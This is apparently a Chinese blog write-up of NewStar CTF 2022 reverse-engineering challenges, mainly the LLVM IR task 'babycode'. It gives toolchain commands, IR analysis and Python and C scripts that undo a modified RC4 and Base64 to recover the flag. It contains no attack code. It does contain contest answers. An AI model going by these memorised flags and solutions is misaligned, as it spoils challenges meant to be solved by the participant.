input[6] = ((input[6] + 1 - 3 + 2 + 3) ^ 3 - 2) ^ 3
input[11] = ((input[11] + 174) ^ (112 - 174 + 4) - 2 + 3 + 2 - 4) & 0xff
input[21] = (((input[21] - 3) ^ 2 + 3 + 236 + 236) ^ 3) & 0xff
input[9] = ((input[9] + 2) ^ 2 + 1 - 3 - 2 - 20 + 1) & 0xff
input[28] = ((input[28] ^ 28-1) ^ 28-3-1 + 1)
input[15] = (((input[15]-(53-177^165)) ^ 3 + 2) ^ 3)&0xff
input[16] = (((input[16]-3-2) + 3) ^ 227 -2)&0xff
input[8] = (((input[8]-(53+53)^43) + 3-3-1) ^ 43)&0xff
input[1] = ((input[1]) ^ 1-178)&0xff
input[13] = ((input[1]) ^ 2) ^ 3 ^ 1
input[24] = (((input[24]) + 1) ^ 1) ^ 3
input[12] = ((input[12])-1-3 + 4) ^ 3
input[27] = ((input[27]-57-1-2) ^ 1 -3-1+ 3) print(bytes(input))
# for i in range(len(input)):
# print(chr(input[i] & 0xff), end='')

数据一直不对,不断排查后,猜测是位处理的问题,程序中的字符是无符号整型:

u_int8_t 处理后【写了个c脚本还是错误!!!!】

魔幻的问题!!再试一次!!! 【还是不可以】

【不知道哪里出了问题,等WP吧!!!】

babycode (middle)

0x01 llvm 中间代码 .ll 了解

语言参考手册 — LLVM 16.0.0git 文档

(175条消息) LLVM IR(一)——如何使用LLVM编译执行代码_七妹要奈斯的博客-CSDN博客_llvm 生成ir

LLVM IR入门指南(1)——LLVM架构简介 - 知乎 (zhihu.com)

LLVM编译流程——全详解(快来看史上最细解析!!) | 码农家园 (codenong.com)

这里尝试将 .ll 转化为 .out 可执行文件。

Ubuntu 环境安装:

sudo apt-get install llvm

sudo apt-get install clang

# 安装失败

kali clang 环境: 【环境自带】

将C文件编译为LLVM bitcode 文件
clang -o3 -emit-llvm hello.c -c -o hello.bc 由于.bc 是bitcode的二进制格式,.ll 文件 llvm bitcode 的可读文本
clang -o3 -emit-llvm hello.c -S -o hello.ll llvm-dis 工具反汇编llvm bitcode 文件, 可以将bc文件转为.ll文件 llvm-dis hello.bc 用 llvm-as 工具通过汇编文件(.ll 文件)得到字节码文件(.bc 文件)
llvm-as hello.ll hello.bc .bc编译成.o
第一种方法:用clang直接将其编译为可执行文件
clang a.o.bc -o struct 第二种方法:用llc先将bc编译为汇编,再用本地的gcc将其编译为可执行文件。 llc a.o.bc -o hello.s
gcc hello.s -o hello 编译生成可执行文件
clang hello.c -o hello 或者 clang -emit-llvm -c hello.c .bc到.s编译指令
clang -S -fobjc-arc struct.bc -o struct.s

使用如下命令转换:

llvm-as task.ll task.bc

显然出题人,修改了!【避免这个解题思路】--->【当时做题的错误判断】

还是得分析.ll llvm 中间文件

【其实这里改为:

llvm-as task.ll -o task.bc

就可以很快将将ll中间文件转化为 可执行文件!!!,0x05 就是这种思路

【但当时本着学习的态度,没深究就直接学习llvm .ll 中间代码去了,也比较曲折】

0x02 分析 .ll 中间文件算法流程
@ - 全局变量
% - 局部变量
alloca - 在当前执行的函数的堆栈帧中分配内存,当该函数返回到其调用者时,将自动释放内存
i32 - 32位4字节的整数
align - 对齐
load - 读出,store写入
icmp - 两个整数值比较,返回布尔值
br - 选择分支,根据条件来转向label,不根据条件跳转的话类型goto
label - 代码标签
call - 调用函数

(175条消息) (LLVM)中间语言(IR)基本语法简介_wy7980的博客-CSDN博客_ir中间语言

(176条消息) LLVM IR / LLVM指令集入门_Canliture的博客-CSDN博客_llvm指令集

Rc4 加密的分析:

  %22 = getelementptr inbounds [9 x i8], [9 x i8]* %3, i64 0, i64 0
%23 = load i32, i32* %4, align 4
call void @Rc4_Init(i8* %22, i32 %23) // 传入密钥即密钥长度
%24 = getelementptr inbounds [42 x i8], [42 x i8]* %2, i64 0, i64 0
call void @Rc4_Encrypt(i8* %24, i32 16) 知道 rc4 密钥key="llvmbitc" # 同时调用了两次rc4 加密,
# 中间有一段xor 加密 // input[pos+16]^=input[pos]
# 如下 rc4_enc(input,16)
for pos in range(16)
input[pos+16]^=input[pos]
rc4_enc(input[16],16)

魔改 Base64 分析:

  %22 = getelementptr inbounds i8, i8* %19, i64 %21    // 取出当前处理字符
%23 = load i8, i8* %22, align 1
%24 = zext i8 %23 to i32 // 类型强制转化
%25 = ashr i32 %24, 2 // 算数右移两位 input[i]>>2
%26 = add nsw i32 %25, 59 // input[i]+59
%27 = trunc i32 %26 to i8 // 强制转化 相当于 &0xff
%28 = load i8*, i8** %6, align 8
%29 = load i32, i32* %9, align 4
%30 = sext i32 %29 to i64
%31 = getelementptr inbounds i8, i8* %28, i64 %30 // 存储base64 编码串
store i8 %27, i8* %31, align 1
%32 = load i8*, i8** %4, align 8
%33 = load i32, i32* %7, align 4
%34 = sext i32 %33 to i64
%35 = getelementptr inbounds i8, i8* %32, i64 %34
%36 = load i8, i8* %35, align 1
%37 = zext i8 %36 to i32
%38 = and i32 %37, 3 // 获取第一个字符 低两位
%39 = shl i32 %38, 4 // 左移四位 # 这里的编码思路就是:
# 每三个字符,24位,切分成4断,每段6位。
# 将6位对应的值 (value+ 59)&0xff 则是编码后的值。
0x03 深入分析 llvm中间代码算法流程

对上面流程实现解密!

# encoding=utf-8

from Crypto.Cipher import ARC4

enc = 'TSz`kWKgbMHszXaj`@kLBmRrnTxsNtZsSOtZzqYikCw'

for i in range(len(enc)):
print((ord(enc[i])),end=',') print()
for i in range(len(enc)):
print(str(bin((ord(enc[i])-59)&0xff)[2:].zfill(6)), end='') print() enc_ = '0110010110001111111001011100000111000100001011001001110100100011011110001111110111011001101011111001010001011100000100010001111100100101111101111100110110011111011110000100111110010111111110000110000101001110010111111111111101100111101011101100000010001111'
print() for i in range(0, len(enc_), 8):
print(hex(int(enc_[i:i + 8], 2)), end=',') chipher = [0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f, 0x25, 0xf7,
0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f] chipher1=[0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f]
chipher2=[0x25, 0xf7, 0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f] print()
# rc4 解密
key=b'llvmbitc\00'
# key=b'<--- NewStarCTF2022 --->\x00' cipher_text2 = bytes(chipher2) print(cipher_text2)
# 两次rc4 cipher = ARC4.new(key)
decrypt_text2 = cipher.decrypt(cipher_text2) # 中间1次xor
decrypt_text2=list(decrypt_text2)
for i in range(0,len(decrypt_text2)):
decrypt_text2[i]^=chipher[i] print(decrypt_text2) cipher_text1= bytes(chipher1)
print(cipher_text1) # cipher = ARC4.new(key)
decrypt_text1 = cipher.decrypt(cipher_text1) print(list(decrypt_text1),decrypt_text2)

解密发现得不出flag!!!

排查之后,发现应该是rc4 也被魔改了!

RC4加密算法原理简单理解 - 沉默的赌徒 - 博客园 (cnblogs.com)

 # 初始化
@Rc4_Init(key,len) # 分析发现,无魔改 key=b'llvmbitc\x00' for i in range(256):
s[i]=i
t[i]=key[i%len] j = 0;
for i in range(256):
j = (j + S[i] + T[i]) mod 256;
swap(S[i] , S[j]); # 加密
@Rc4_Encrypt(input,len) for i in range(len):
i = (i + 1) mod 256;
j = (j + S[i]) mod 256;
swap(S[i] , S[j]);
//t = (S[i] + S[j]) mod 256;
t=S[(S[i] + S[j]) mod 256] k=t^0x89 // 魔改位置, 多xor 89
//可以直接在这里进行加密,当然也可以将密钥流保存在数组中,最后进行异或就ok  
input[]=input[i]^k; //进行加密

rc4 就是加了一个 xor 89 的操作

0x04 解密分析

现在梳理一下加密流程:

rc4_enc(input,16) xor 89
for pos in range(16)
input[pos+16]^=input[pos]
rc4_enc(input[16],16) xor 89 enc=b64encode(input[],32) 比较密文
chipher = [0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f,
0x25, 0xf7, 0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f] chipher1 = [0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f]
chipher2 = [0x25, 0xf7, 0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f] for i in range(len(chipher)):
chipher[i] ^= 89
if i > 15:
chipher[i] = chipher[i]^chipher[i - 16]^89 # rc4 解密
key = b'llvmbitc\x00' cipher_text = bytes(chipher)
# 两次rc4 可以合并 cipher = ARC4.new(key)
decrypt_text = cipher.decrypt(cipher_text) print()
print(decrypt_text)
print(list(decrypt_text))

解密发现还是不对,猜测可能原因是Rc4 前后两次加密,共用一次初始化的S盒,但第二次加密下标从0开始,且使用第一次Rc4加密后的S盒,这里显然是耦合的,显然只能写脚本解密,py调用模板肯定用不了!

写了个 c脚本,也无用!!!直接蒙蔽,,,

#include<stdio.h>

/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % Len_k];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
} /*
RC4加解密函数
unsigned char* Data 加解密的数据
unsigned long Len_D 加解密数据的长度
unsigned char* key 密钥
unsigned long Len_k 密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D/2; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] = Data[k] ^ s[t]^89;
printf("0x%x,",s[t]^89);
}
printf("\n");
i=0,j=0,t=0;
for (k = 0; k < Len_D/2; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k+16] = Data[k+16] ^ s[t]^89;
printf("0x%x,",s[t]^89);
}
printf("\n");
} int main()
{
//字符串密钥
// unsigned char key[] = "zstuctf";
unsigned char key[] ="llvmbitc";
unsigned long key_len = sizeof(key) -1 ; // //数组密钥
// unsigned char key[] = {0x6c,0x6c,0x76,0x6d,0x62,0x69,0x74,0x63,0x0};
// unsigned long key_len = sizeof(key); //加解密数据
// unsigned char data[] = { 0x7E, 0x6D, 0x55, 0xC0, 0x0C, 0xF0, 0xB4, 0xC7, 0xDC, 0x45,
// 0xCE, 0x15, 0xD1, 0xB5, 0x1E, 0x11, 0x14, 0xDF, 0x6E, 0x95,
// 0x77, 0x9A, 0x12, 0x99 }; unsigned char data[]={0x65,0x8f,0xe5,0xc1,0xc4,0x2c,0x9d,0x23,0x78,0xfd,0xd9,0xaf,0x94,0x5c,0x11,0x1f,0x25,0xf7,0xcd,0x9f,0x78,0x4f,0x97,0xf8,0x61,0x4e,0x5f,0xff,0x67,0xae,0xc0,0x8f}; unsigned char data1[]={0x65,0x8f,0xe5,0xc1,0xc4,0x2c,0x9d,0x23,0x78,0xfd,0xd9,0xaf,0x94,0x5c,0x11,0x1f,0x25,0xf7,0xcd,0x9f,0x78,0x4f,0x97,0xf8,0x61,0x4e,0x5f,0xff,0x67,0xae,0xc0,0x8f}; //加解密
rc4_crypt(data, sizeof(data), key, key_len); for (int i = 0; i < sizeof(data); i++)
{
if (i>15)
{
printf("%c,", data[i]^data1[i-16]);
}
else
{
printf("%c,", data[i]);
}
}
printf("\n");
return 0;
}

哪分析错了呢!,先缓缓,后面再来做!!!

0x05 .ll 转化为 elf 再探索

后面又尝试以将中间代码转化为可执行文件的思路

└─# llvm-as task.ll task.bc
llvm-as: Too many positional arguments specified!
Can specify at most 1 positional arguments: See: llvm-as --help
┌──(root㉿xiaoxiao)-[~/ida_]
└─# llvm-as task.ll -o task.bc ┌──(root㉿xiaoxiao)-[~/ida_]
└─# clang task.bc -o task # 原来,最开始是由于少了 -o 造成 .ll 到 .bc 转化失败!!!

导出task可执行程序后,ida分析elf 文件

发现,一直遗漏了一个细节!!!base64 编码是,第2、3是交换了位置的!

同时,多出2个字节的编码也有改动!【显然,对llvm 中间代码的分析还是有点马虎】【其他加密逻辑是分析清楚了的】

# encoding=utf-8

from Crypto.Cipher import ARC4

enc = 'TSz`kWKgbMHszXaj`@kLBmRrnTxsNtZsSOtZzqYikCw='

for i in range(len(enc)):
print((ord(enc[i])), end=',') print()
for i in range(0, len(enc)-4, 4):
print(str(bin((ord(enc[i]) - 59) & 0xff)[2:].zfill(6)), end='')
print(str(bin((ord(enc[i + 2]) - 59) & 0xff)[2:].zfill(6)), end='')
print(str(bin((ord(enc[i + 1]) - 59) & 0xff)[2:].zfill(6)), end='')
print(str(bin((ord(enc[i + 3]) - 59) & 0xff)[2:].zfill(6)), end='')
# base64 最后 = 处理
for i in range(len(enc)-4,len(enc),4):
print(str(bin((ord(enc[i]) - 59) & 0xff)[2:].zfill(6)), end='')
print(str(bin((ord(enc[i + 1]) - 59) & 0xff)[2:].zfill(6)), end='')
print(str(bin(((ord(enc[i + 2]) - 59)>>2) & 0xf)[2:].zfill(6)), end='')
print('0'*6) print() enc_ = '011001111111011000100101110000010000011100101100100111001101010010111000111111100110011101101111100101110000000101010001000111010111110010110111110011111101011001111000010011011111111001111000011000111001010100011111111111011110110110101110110000001000001111000000'
print() for i in range(0, len(enc_), 8):
print(hex(int(enc_[i:i + 8], 2)), end=',') chipher = [0x67,0xf6,0x25,0xc1,0x7,0x2c,0x9c,0xd4,0xb8,0xfe,0x67,0x6f,0x97,0x1,0x51,0x1d,0x7c,0xb7,0xcf,0xd6,0x78,0x4d,0xfe,0x78,0x63,0x95,0x1f,0xfd,0xed,0xae,0xc0,0x83,0xc0]

如下,再用C脚本解密得到:

#include<stdio.h>

/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % Len_k];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
} /*
RC4加解密函数
unsigned char* Data 加解密的数据
unsigned long Len_D 加解密数据的长度
unsigned char* key 密钥
unsigned long Len_k 密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D/2; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] = Data[k] ^ s[t]^89;
printf("0x%x,",s[t]^89);
}
printf("\n");
i=0,j=0,t=0;
for (k = 0; k < Len_D/2; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k+16] = Data[k+16] ^ s[t]^89;
printf("0x%x,",s[t]^89);
}
printf("\n");
} int main()
{
//字符串密钥
// unsigned char key[] = "zstuctf";
unsigned char key[] ="llvmbitc";
unsigned long key_len = sizeof(key) -1 ; // //数组密钥
// unsigned char key[] = {0x6c,0x6c,0x76,0x6d,0x62,0x69,0x74,0x63,0x0};
// unsigned long key_len = sizeof(key); //加解密数据
// unsigned char data[] = { 0x7E, 0x6D, 0x55, 0xC0, 0x0C, 0xF0, 0xB4, 0xC7, 0xDC, 0x45,
// 0xCE, 0x15, 0xD1, 0xB5, 0x1E, 0x11, 0x14, 0xDF, 0x6E, 0x95,
// 0x77, 0x9A, 0x12, 0x99 }; unsigned char data[]={0x67,0xf6,0x25,0xc1,0x7,0x2c,0x9c,0xd4,0xb8,0xfe,0x67,0x6f,0x97,0x1,0x51,0x1d,0x7c,0xb7,0xcf,0xd6,0x78,0x4d,0xfe,0x78,0x63,0x95,0x1f,0xfd,0xed,0xae,0xc0,0x83};
unsigned char data1[]={0x67,0xf6,0x25,0xc1,0x7,0x2c,0x9c,0xd4,0xb8,0xfe,0x67,0x6f,0x97,0x1,0x51,0x1d,0x7c,0xb7,0xcf,0xd6,0x78,0x4d,0xfe,0x78,0x63,0x95,0x1f,0xfd,0xed,0xae,0xc0,0x83};
//加解密
rc4_crypt(data, sizeof(data), key, key_len); for (int i = 0; i < sizeof(data); i++)
{
if (i>15)
{
printf("%c", data[i]^data1[i-16]);
}
else
{
printf("%c", data[i]);
}
}
printf("\n");
return 0;
}

flag{Hacking_for_fun@reverser$!q

【这里最后一字节,是'q'不是'}'的原因在于,base64 编码时,有个&0xf的操作,导致信息丢失,但由于只有一位也就不爆破了】

得到flag:

flag{Hacking_for_fun@reverser$!}

【注:这题学到了很多东西,对.ll中间代码语法摸了个小透,但由于base64 编码的小细节没注意到,导致做题时还是很曲折的,最后转化为可执行文件进行逆向才成功破案】

结语

​ 这次 NewStar CTF 2022 公开赛,体验很好。我回顾了很多Re方面的知识点,也学习到了一些新的东西。从Week2 开始参赛,直到 Week5 结束,主攻逆向题目,做了少量Web题。Re 题除了Week5 的 Virtual Self 没做出来,其他全部解出,这是十分鼓舞人心的,当然也算是一个不圆满的小遗憾了吧!【没能Ak Week2-Week5 的所有Re】。

​ 最后对自己有一点小小(笑笑)的展望:希望接下来,能在中等难度比赛中有所突破【相对应的,也就是在逆向水平方面有所提高】!

NewStarCTF 公开赛 2022 RE WP的相关教程结束。

《NewStarCTF 公开赛 2022 RE WP.doc》

下载本文的Word格式文档,以方便收藏与打印。